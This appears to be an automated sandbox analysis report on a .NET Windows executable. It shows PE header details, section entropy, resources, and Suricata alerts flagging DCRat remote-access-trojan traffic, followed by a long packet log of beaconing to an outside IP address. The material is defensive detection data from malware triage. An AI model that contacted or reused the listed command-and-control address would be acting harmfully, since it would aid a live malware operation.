OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:
Signature Issuer:
Signature Validation Error:
Error Number:
Not Before, Not After
Subject Chain
Version:
Thumbprint MD5:
Thumbprint SHA-1:
Thumbprint SHA-256:
Serial:

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xe905c	0x4a	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xea000	0x2cd48	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0xefc00	0x1270	.rsrc
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x118000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xe90a6	0x38	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xe7167	0xe7200	39f6b20fe9c32911bf9330e3aead9ca1	False	0.9104372295835587	PGP symmetric key encrypted data - Plaintext or unencrypted data	7.874259568369085	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xea000	0x2cd48	0x2ce00	7a3386583914fe3ce52d18a7b66a0189	False	0.4698435323816156	data	6.865694273270142	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x118000	0xc	0x200	ee3c2191b84ea0ab4f6f399ed7978f51	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
IBC	0xea244	0x7cf6	data			0.619849953110347
RT_ICON	0xf1f3c	0xc46d	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced			1.0005170527990455
RT_ICON	0xfe3ac	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536, resolution 2835 x 2835 px/m			0.1391074174849166
RT_ICON	0x10ebd4	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384, resolution 2835 x 2835 px/m			0.15050779404818138
RT_ICON	0x112dfc	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 2835 x 2835 px/m			0.16919087136929462
RT_ICON	0x1153a4	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 2835 x 2835 px/m			0.22467166979362102
RT_ICON	0x11644c	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 2835 x 2835 px/m			0.3829787234042553
RT_GROUP_ICON	0x1168b4	0x5a	data			0.7333333333333333
RT_VERSION	0x116910	0x438	data	English	United States	0.48148148148148145

Imports

DLL	Import
mscoree.dll	_CorExeMain

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-27T04:02:07.712551+0100	2034194	ET MALWARE DCRAT Activity (GET)	1	192.168.2.9	49723	188.120.228.203	80	TCP
2024-11-27T04:02:17.428898+0100	2034194	ET MALWARE DCRAT Activity (GET)	1	192.168.2.9	49746	188.120.228.203	80	TCP
2024-11-27T04:02:25.553488+0100	2034194	ET MALWARE DCRAT Activity (GET)	1	192.168.2.9	49767	188.120.228.203	80	TCP
2024-11-27T04:02:33.366043+0100	2034194	ET MALWARE DCRAT Activity (GET)	1	192.168.2.9	49785	188.120.228.203	80	TCP
2024-11-27T04:02:42.961482+0100	2034194	ET MALWARE DCRAT Activity (GET)	1	192.168.2.9	49806	188.120.228.203	80	TCP
2024-11-27T04:02:51.179051+0100	2034194	ET MALWARE DCRAT Activity (GET)	1	192.168.2.9	49827	188.120.228.203	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 27, 2024 04:02:06.178472996 CET	49723	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:06.298363924 CET	80	49723	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:06.298496962 CET	49723	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:06.299420118 CET	49723	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:06.419374943 CET	80	49723	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:07.712311983 CET	80	49723	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:07.712337017 CET	80	49723	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:07.712476015 CET	80	49723	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:07.712551117 CET	49723	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:07.712554932 CET	80	49723	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:07.712569952 CET	80	49723	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:07.712650061 CET	80	49723	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:07.712698936 CET	49723	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:07.712721109 CET	49723	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:07.712729931 CET	80	49723	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:07.712806940 CET	80	49723	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:07.712817907 CET	80	49723	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:07.712830067 CET	80	49723	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:07.712886095 CET	49723	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:07.712886095 CET	49723	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:07.833177090 CET	80	49723	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:07.877996922 CET	49723	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:07.922651052 CET	80	49723	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:07.927748919 CET	49723	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:08.047686100 CET	80	49723	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:08.378654003 CET	80	49723	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:08.378684044 CET	80	49723	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:08.378747940 CET	49723	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:08.382698059 CET	80	49723	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:08.385123014 CET	80	49723	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:08.385178089 CET	80	49723	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:08.385179996 CET	49723	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:08.393502951 CET	80	49723	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:08.393563986 CET	49723	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:08.393606901 CET	80	49723	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:08.401941061 CET	80	49723	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:08.402002096 CET	49723	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:08.402038097 CET	80	49723	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:08.410280943 CET	80	49723	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:08.410347939 CET	49723	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:08.588783979 CET	80	49723	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:08.643434048 CET	49723	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:08.664591074 CET	49723	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:15.986710072 CET	49746	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:16.106806993 CET	80	49746	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:16.106945992 CET	49746	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:16.107333899 CET	49746	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:16.227278948 CET	80	49746	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:17.428755045 CET	80	49746	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:17.428841114 CET	80	49746	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:17.428879023 CET	80	49746	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:17.428898096 CET	49746	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:17.429060936 CET	80	49746	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:17.429070950 CET	80	49746	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:17.429083109 CET	80	49746	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:17.429092884 CET	80	49746	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:17.429100990 CET	49746	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:17.429122925 CET	49746	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:17.429294109 CET	80	49746	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:17.429339886 CET	49746	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:17.429363012 CET	80	49746	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:17.429378986 CET	80	49746	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:17.429414988 CET	49746	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:17.548954010 CET	80	49746	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:17.549043894 CET	80	49746	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:17.549089909 CET	49746	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:17.553106070 CET	80	49746	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:17.596565962 CET	49746	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:17.620759010 CET	80	49746	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:17.623728037 CET	49746	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:17.743735075 CET	80	49746	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:18.055687904 CET	80	49746	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:18.056252956 CET	80	49746	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:18.056304932 CET	49746	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:18.056340933 CET	80	49746	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:18.061096907 CET	80	49746	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:18.061155081 CET	49746	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:18.061198950 CET	80	49746	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:18.069591045 CET	80	49746	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:18.069637060 CET	49746	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:18.069802999 CET	80	49746	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:18.077878952 CET	80	49746	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:18.077929020 CET	49746	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:18.077975988 CET	80	49746	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:18.086262941 CET	80	49746	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:18.086350918 CET	49746	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:18.086374044 CET	80	49746	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:18.094616890 CET	80	49746	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:18.094666958 CET	49746	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:18.095801115 CET	49746	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:24.054023027 CET	49767	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:24.174032927 CET	80	49767	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:24.174199104 CET	49767	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:24.174798965 CET	49767	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:24.294722080 CET	80	49767	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:25.553308964 CET	80	49767	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:25.553406000 CET	80	49767	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:25.553419113 CET	80	49767	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:25.553488016 CET	49767	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:25.553567886 CET	80	49767	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:25.553580999 CET	80	49767	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:25.553594112 CET	80	49767	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:25.553622961 CET	49767	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:25.553668976 CET	49767	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:25.553744078 CET	80	49767	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:25.553755999 CET	80	49767	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:25.553769112 CET	80	49767	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:25.553782940 CET	80	49767	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:25.553805113 CET	49767	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:25.553836107 CET	49767	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:25.673710108 CET	80	49767	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:25.673768044 CET	80	49767	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:25.673877001 CET	49767	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:25.676346064 CET	49767	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:25.796761036 CET	80	49767	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:26.124521017 CET	80	49767	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:26.124706984 CET	80	49767	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:26.124787092 CET	49767	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:26.128654003 CET	80	49767	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:26.128818035 CET	80	49767	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:26.128882885 CET	49767	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:26.137125969 CET	80	49767	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:26.140943050 CET	80	49767	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:26.141005039 CET	49767	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:26.141062021 CET	80	49767	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:26.149382114 CET	80	49767	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:26.149477005 CET	49767	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:26.149558067 CET	80	49767	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:26.157704115 CET	80	49767	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:26.157773972 CET	49767	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:26.159202099 CET	49767	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:31.877506971 CET	49785	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:31.997481108 CET	80	49785	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:31.997565031 CET	49785	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:31.998044968 CET	49785	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:32.117995977 CET	80	49785	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:33.365844011 CET	80	49785	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:33.365963936 CET	80	49785	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:33.366022110 CET	80	49785	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:33.366034985 CET	80	49785	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:33.366043091 CET	49785	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:33.366075039 CET	49785	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:33.366108894 CET	80	49785	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:33.366122007 CET	80	49785	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:33.366132975 CET	80	49785	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:33.366143942 CET	80	49785	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:33.366163015 CET	49785	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:33.366173983 CET	49785	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:33.366302967 CET	80	49785	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:33.366321087 CET	80	49785	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:33.366369963 CET	49785	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:33.486138105 CET	80	49785	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:33.486196041 CET	80	49785	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:33.486284018 CET	49785	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:33.490237951 CET	80	49785	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:33.534107924 CET	49785	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:33.566992998 CET	80	49785	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:33.584337950 CET	49785	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:33.704288006 CET	80	49785	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:34.027124882 CET	80	49785	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:34.027586937 CET	80	49785	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:34.027641058 CET	49785	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:34.027751923 CET	80	49785	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:34.032632113 CET	80	49785	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:34.032727957 CET	49785	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:34.032795906 CET	80	49785	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:34.040719032 CET	80	49785	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:34.040765047 CET	49785	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:34.041011095 CET	80	49785	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:34.049268007 CET	80	49785	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:34.049282074 CET	80	49785	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:34.049313068 CET	49785	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:34.057667017 CET	80	49785	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:34.057712078 CET	49785	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:34.057827950 CET	80	49785	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:34.066200018 CET	80	49785	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:34.066246986 CET	49785	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:34.227293968 CET	80	49785	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:34.229443073 CET	49785	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:41.163245916 CET	49806	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:41.537560940 CET	80	49806	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:41.537657976 CET	49806	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:41.538192987 CET	49806	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:41.658508062 CET	80	49806	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:42.961347103 CET	80	49806	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:42.961366892 CET	80	49806	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:42.961410046 CET	80	49806	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:42.961421013 CET	80	49806	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:42.961431980 CET	80	49806	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:42.961483955 CET	80	49806	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:42.961482048 CET	49806	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:42.961498022 CET	80	49806	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:42.961534023 CET	49806	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:42.961548090 CET	80	49806	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:42.961585045 CET	80	49806	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:42.961585999 CET	49806	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:42.961666107 CET	80	49806	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:42.961720943 CET	49806	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:43.081641912 CET	80	49806	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:43.088160038 CET	80	49806	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:43.088216066 CET	49806	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:43.101278067 CET	80	49806	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:43.103537083 CET	49806	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:43.223546982 CET	80	49806	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:43.559287071 CET	80	49806	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:43.559566975 CET	80	49806	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:43.559633970 CET	49806	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:43.559851885 CET	80	49806	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:43.568002939 CET	80	49806	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:43.568046093 CET	49806	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:43.568176985 CET	80	49806	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:43.576486111 CET	80	49806	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:43.576523066 CET	80	49806	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:43.576535940 CET	49806	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:43.584856987 CET	80	49806	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:43.584908962 CET	49806	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:43.584939957 CET	80	49806	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:43.593413115 CET	80	49806	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:43.593426943 CET	80	49806	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:43.593499899 CET	49806	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:43.769428968 CET	80	49806	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:43.770958900 CET	49806	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:49.674061060 CET	49827	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:49.794076920 CET	80	49827	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:49.794215918 CET	49827	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:49.794919968 CET	49827	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:49.914830923 CET	80	49827	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:51.178966999 CET	80	49827	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:51.178983927 CET	80	49827	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:51.178996086 CET	80	49827	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:51.179050922 CET	49827	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:51.179064035 CET	80	49827	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:51.179076910 CET	80	49827	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:51.179089069 CET	80	49827	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:51.179100990 CET	80	49827	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:51.179124117 CET	49827	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:51.179160118 CET	49827	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:51.179264069 CET	80	49827	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:51.179275990 CET	80	49827	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:51.179291010 CET	80	49827	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:51.179306030 CET	49827	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:51.179331064 CET	49827	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:51.379973888 CET	80	49827	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:51.382492065 CET	49827	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:51.502360106 CET	80	49827	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:51.843673944 CET	80	49827	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:51.843702078 CET	80	49827	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:51.843909979 CET	49827	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:51.847856998 CET	80	49827	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:51.847980022 CET	80	49827	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:51.848030090 CET	49827	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:51.856251001 CET	80	49827	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:51.856324911 CET	80	49827	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:51.856369972 CET	49827	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:51.864661932 CET	80	49827	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:51.864775896 CET	80	49827	188.120.228.203	192.168.2.9
Nov 27, 2024 04:02:51.864821911 CET	49827	80	192.168.2.9	188.120.228.203
Nov 27, 2024 04:02:51.873078108 CET	80	49827	188.120.228.203	192.168.2.9
